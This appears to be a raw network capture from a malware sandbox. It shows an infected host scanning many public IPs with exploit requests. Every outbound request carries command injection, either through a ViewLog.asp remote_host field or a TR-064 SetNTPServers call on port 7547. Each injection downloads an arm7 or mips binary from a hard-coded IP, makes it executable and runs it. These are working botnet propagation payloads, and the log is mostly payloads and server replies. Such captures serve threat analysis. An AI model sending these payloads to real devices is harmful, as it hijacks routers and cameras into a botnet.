Mar 21, 2024 05:23:09.754463911 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.13	47144	82.78.35.91	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.781409025 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:10.437525034 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:10.638904095 CET	419	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 06:24:19 GMT Server: webserver X-Frame-Options: SAMEORIGIN Content-Length: 195 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=8, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /cgi-bin/ViewLog.asp</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.13	43790	178.22.56.237	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.034823895 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:10.221007109 CET	530	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:23:10 GMT Server: Apache/2 Content-Length: 315 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Mar 21, 2024 05:23:10.221046925 CET	406	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:10 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.13	32894	178.114.229.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.061660051 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:11.148286104 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.13	55306	80.218.134.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.061674118 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:11.148296118 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:11.368103027 CET	166	IN	HTTP/1.1 404 Not Found Server: ReeCam IP Camera Date: Thu, 21 Mar 2024 04:25:47 GMT Content-Type: text/html Content-Length: 126 Connection: close
Mar 21, 2024 05:23:11.368191004 CET	138	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.13	60778	125.149.162.209	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.118794918 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.13	33400	181.94.213.207	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.310163975 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:10.582165956 CET	301	IN	HTTP/1.1 200 OK Content-Type:text/html Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:23:10.582376957 CET	1286	IN	Data Raw: 63 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: cb8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:23:10.582463980 CET	1286	IN	Data Raw: 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 Data Ascii: return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6
Mar 21, 2024 05:23:10.582784891 CET	732	IN	Data Raw: 72 65 73 73 56 61 6c 69 64 28 48 6f 73 74 49 6e 66 6f 29 29 0d 0a 7b 0d 0a 2f 2a 20 68 6f 73 74 20 73 74 72 69 6e 67 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 70 6f 72 74 20 2a 2f 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 Data Ascii: ressValid(HostInfo)){/* host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.13	35328	72.141.50.13	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.388569117 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.13	58196	216.239.179.205	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.388727903 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.13	46518	220.211.175.245	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.505666971 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:10.786273956 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0
Mar 21, 2024 05:23:12.241884947 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.13	58490	216.239.179.205	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.527121067 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:11.279320955 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.13	45930	88.206.97.113	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.626807928 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: 